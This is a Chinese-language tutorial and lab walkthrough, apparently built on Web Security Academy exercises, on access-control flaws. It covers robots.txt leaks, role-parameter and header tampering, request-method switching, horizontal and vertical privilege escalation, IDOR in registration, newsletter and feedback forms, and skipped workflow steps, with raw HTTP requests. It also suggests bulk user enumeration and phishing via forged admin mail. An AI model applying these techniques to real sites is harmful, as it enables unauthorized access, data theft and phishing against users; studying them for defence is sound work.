访问控制概念
漏洞类型
Lab
1. robots.txt泄露未授权访问页面
2. JS文件暴露未授权访问页面
3. 参数控制的访问权限
4. 响应包参数控制的访问权限
5. Header头中X-Original-URL参数控制的访问权限
6. 受请求方法控制的访问权限
7. 控制userID的水平越权
8. 随机userID控制的水平越权
9. userID泄露造成的水平越权
10. userID控制的垂直越权
11. 不安全的直接对象引用(IDOR)
常规IDOR
用户注册处的IDOR
邮件订阅中的IDOR
意见反馈中的IDOR
12. Step被跳过的访问控制漏洞
13. Referer控制的访问权限
简单的来说就是应用程序首先会判断用户的身份(账号密码登录),随后确认后续请求是否由该用户发出(会话管理),然后判断是否允许用户执行“所请求的操作”或访问“所请求的资源(访问控制)”
1、从用户角度访问控制模型分为以下类型:
2、出现访问控制漏洞的原因:
应用程序允许攻击者执行某种攻击者没有执行权限的操作,就会出现访问控制漏洞。
三种访问控制模型分别对应着
并且这些漏洞之间没有明确界限,按照漏洞的表现形式和检测方法差异会分为很多不同的类型:
访问robots.txt,可看到隐藏的敏感页面:
直接访问即可
通过F12查看js代码,发现有敏感页面:
访问即可:
先登录普通用户,发现一个Admin参数控制是否是管理员:
登录普通用户之后,访问管理员页面,将Admin改为true即可访问:
一些访问控制的参数有时候可能不在登录处或者访问敏感页面处,而是在更新一些个人信息的时候。
比如在更改个人邮箱处,以json传输数据:
查看响应包可看到敏感参数roleid,猜测其是控制权限的参数:
在请求头中加入roleid,达到覆盖参数的效果:
回到主页就变成了管理员页面:
参数控制的访问权限
直接访问管理员页面,未发现可控参数:
回到GET网站目录/,尝试加入X-Original-URL参数,值为随意:
参数成功生效,初步判断X-Original-URL参数可以控制页面的访问。
改变参数X-Original-URL: /admin即可访问特定的未授权页面:
有两个用户,一个是administrator,一个是普通用户。
通过修改请求方法,可以使得普通用户越权使用管理员的功能页面,达到未授权使用的效果。
如,在管理员页面中有一个修改用户权限的功能:
将carlos用户的权限提升,并且将数据包保存记录好:
现在尝试登录到普通用户wiener,使其也能使用这个提升权限的功能:
将wiener的session复制到管理员功能的数据包中:
提示未授权,
尝试将请求方法改为POSTX,提示缺少参数username:
说明更改请求方式可以控制访问的权限,继续将请求方法改为GET:
成功利用。
通俗的来解释水平越权就是:
用别人的卡来买东西
普通用户wiener下:
将id改为其他同权限的用户名carlos即可水平越权:
一般情况下,userID的值都会很复杂,如:
直接枚举出其他用户的userID是不可能的,这时候就需要巧妙地去“获取”用户carlos的userID。
查看carlos发布的blog:
点击carlos用户,在请求包中包含了其userID:
直接越权:
正常情况下,userID的值不会直接出现在请求包中,因为这样是极其危险的。
有独无偶,“获取”userID的方式也不会因此而止,一些不规范的行为造成的userID泄露同样会导致越权,比如虽然对越权行为做了重定向的操作,但是越权的数据还会存在于重定向之前的页面中。
id的值可控:
改为carlos,发现被重定向到其他地方:
此时观察当前302的页面,发现carlos的信息就在未重定向的页面中:
通俗的来解释垂直越权就是:
用一元买一百元的东西
id可控:
改为 id=administrator:
即可提取到管理员的密码。
IDOR将允许一名授权用户获取其他用户的信息,意指一个已经授权的用户通过更改访问时的一个参数,从而访问到了原本其并没有得到授权的对象(也就是会造成水平/垂直越权)。Web应用往往在生成Web页面或服务时会使用用户的真实名字,且并不会对所有目标对象的请求访问进行用户权限检测,所以这就造成了不安全的对象直接引用的漏洞。
换句话说,不安全的直接对象引用漏洞将允许攻击者通过页面或服务向特殊对象资源发送访问请求,如果系统不会对请求发送者的身份权限进行合理认证的话,就说明这个系统中存在不安全的直接对象引用。
简单来说,假设目标网站有两个用户U1和U2,两者账户中都存储有个人文件,但只有自己才有权限查看访问到这些文件。打个比方,也即U1只能访问到自己的账户文件,不可访问U2的账户文件。
某天,U1访问他自己账户中的文件blahBlah.pdf,具体链接如下:
https://whocare.com/file/23
上述链接中假设最后的数字23是与自己账户对应的一个参数,但好奇的U1用户却随手修改了这个数字参数,把它改成了50,然后发起了访问,链接如下:
https://whocare.com/file/50
但正好这一改动,U1在自己账户权限内竟然看到了U2账户的文件。
所以问题出在哪里呢?原因在于Web应用在基于用户输入的直接对象访问机制中,缺少了对访问对象的身份验证措施。如何来发现IDOR漏洞?其实,IDOR就像XSS一样存在广泛,只要你清楚目标Web应用的设计架构或工作流,非常容易发现。
举例,通过查看聊天记录,可发现web通过GET请求下载了聊天记录:
并且GET的地址可以更改到 /download-transcript/1.txt:
服务端未对GET请求的参数进行权限的校验,造成了敏感聊天记录的泄露。
在网站注册功能中发起数据包拦截,目标网站调用了一个账户注册API,Burp捕获的账户注册请求数据包如下:
POST /analytics/index.php/plus/registerportal?user_id=43657&key=344246b382b1d70c25ea14ed6f2760c6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 239
Host: api.***.com
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.4.1
email=test@***.com&password=as&username=&firstname=tvbb&lastname=gvcz&mobile=&country=test&city=hfhdggd&birthday_full=&gender=fknefjn
可以看到,在上述数据包的POST操作中包含了user_id参数,我们把它修改为其它字符串随机值,然后服务端响应回来的消息中有了这样的提示:用户已经存在!更为重要的是,服务端响应回来的信息中包含了与该注册用户相关的姓名、邮箱、联系地址等等:
HTTP/1.1 200 OK
Date: Tue, 05 Mar 2019 12:53:30 GMT
Content-Type: text/html
Connection: close
Set-Cookie: __cfduid=dc4d54bb59b5c4a2c8501e3ed1cd5952b1551790409; expires=Wed, 04-Mar-20 12:53:29 GMT; path=/; domain=.whocare.com; HttpOnly
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 4b2c3badddb3ce21-LHR
Content-Length: 311
{"error":"exist","user":[{"id":"34666","username":"admin","firstname":"Pappu","lastname":"Rahul","email":"admin@***.com","mobile":null,"gender":"male","birthday":null,"country":"","city":null,"address":null,"address1":[Reducted],"postcode":[Reducted],"ip_address":[Reducted],"app_id":[Reducted]}]}
而且通过这样,我甚至可以通过暴力枚举用户参数user_id,大量获取目标网站用户信息,当然其中也会包含管理员信息。
一些网站为用户提供了一个订阅选项,可以通过用户邮件方式获取一些网站的最新资讯。而在用户设置面板中,存在一个订阅取消按钮,当点击该按钮之后,它会向注册用户发送一个取消订阅的通知链接,URL如下:
http://***.com/deleteNewsletter/dGVzdGVybWFpbEBnbWFpbC5jb20=
仔细看可知道,它结尾包含了一个base64编码的字符串,解密后
dGVzdGVybWFpbEBnbWFpbC5jb20 => [email protected]
这里看似这种动作未对请求做身份校验,所以,在此我们需要其他注册用户的绑定邮箱来进行测试,看看是否能对其他注册用户执行订阅取消操作。
这里的一种攻击可能性为:我们要以收集大量目标网站注册用户的邮箱,然后分别把它们进行base64编码,形成字典,放到Burp的Intruder模块中,进行自动化攻击测试,这样一来,就形成了对批量用户的订阅取消动作。这里可以综合利用上述的注册处IDOR漏洞来形成更大的威胁。
如果用户向目标网站提交意见反馈(Feedback)的数据包如下:
POST /Services/PostContactUsEmail HTTP/1.1
Host: www.***.com
Connection: close
Content-Length: 327
Accept: */*
Origin: https://www.***.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://www.***.com/feedback
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ******
[email protected]&ContactUs_MessageType_Txt=%D8%A7%D8%B3%D8%AA%D9%81%D8%B3%D8%A7%D8%B1&ContactUs_Department_Txt=feedback@***.com%23%D8%A7%D9%84%D8%AF%D8%B9%D9%85+%D8%A7%D9%84%D9%81%D9%86%D9%8A&ContactUs_MessageBody_Txtthis+is+the+comment&ContactUs_Captcha_Txt=QBAQLU
仔细看其中提交的参数,它包含了以下几个重要信息:
ContactUs_Department_Txt= 将会收到反馈意见的邮箱地址
ContactUs_Email_Txt= 当前用户用来发送反馈意见的邮箱地址
ContactUs_MessageBody_Txt= 用户发送的反馈意见信息
上面有两个地方的邮箱地址我们可以进行修改,那就是:
ContactUs_Department_Txt=admin@***.com
ContactUs_Email_Txt=任何你想发送邮件的用户邮箱地址,或者恶意一点,把它设为网站所有用户邮箱地址。
这样一来,所有网站用户都会收到一封来自管理员邮箱的邮件,这可以用来作为钓鱼攻击的一个切入点。
许多Web在处理一些功能的时候往往会分成几个步骤去处理。
比如修改密码的操作:
(1) 验证用户身份;
(2) 验证用户旧密码、手机验证码或者其他密保问题;
(3) 输入新密码。
通常在每一步都需要进行权限的验证,但一些web总是认为用户会按顺序地操作,但是攻击者可能会跳过当前进行的步骤,直接进行下一步。
在管理员更改用户权限的功能,一共分了两步:
1. 选择要更改权限的用户以及权限:
数据包如下:
POST /admin-roles HTTP/1.1
Host: ac0b1fb71fcef8258057231b0003003c.web-security-academy.net
Connection: close
Content-Length: 30
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://ac0b1fb71fcef8258057231b0003003c.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ac0b1fb71fcef8258057231b0003003c.web-security-academy.net/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=hp8z79BSD51UeuyyZfxI1YtqzNRQFFjI
username=carlos&action=upgrade
2. 确认是否进行操作:
数据包如下:
POST /admin-roles HTTP/1.1
Host: ac0b1fb71fcef8258057231b0003003c.web-security-academy.net
Connection: close
Content-Length: 45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://ac0b1fb71fcef8258057231b0003003c.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ac0b1fb71fcef8258057231b0003003c.web-security-academy.net/admin-roles
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=hp8z79BSD51UeuyyZfxI1YtqzNRQFFjI
action=upgrade&confirmed=true&username=carlos
先记录这两个步骤的数据包,登录wiener普通用户,尝试将其session分别带入两个数据包中:
1. 带入第一个数据包,发现提示未授权
2. 带入第二数据包(确认操作),成功:
一些网站通过Referer来控制来访问URL,并且没有做相应的访问权限的校验。
登录管理员页面,修改wiener的权限,发现其根据Referer来重定向:
现在登录普通用户wiener,尝试使用管理员修改权限的功能来提升自己的权限。
将wiener的session放入数据包,发现提示错误:
更改Referer参数为:
Referer: https://ac001fcd1f55c21580c43667006f0016.web-security-academy.net/admin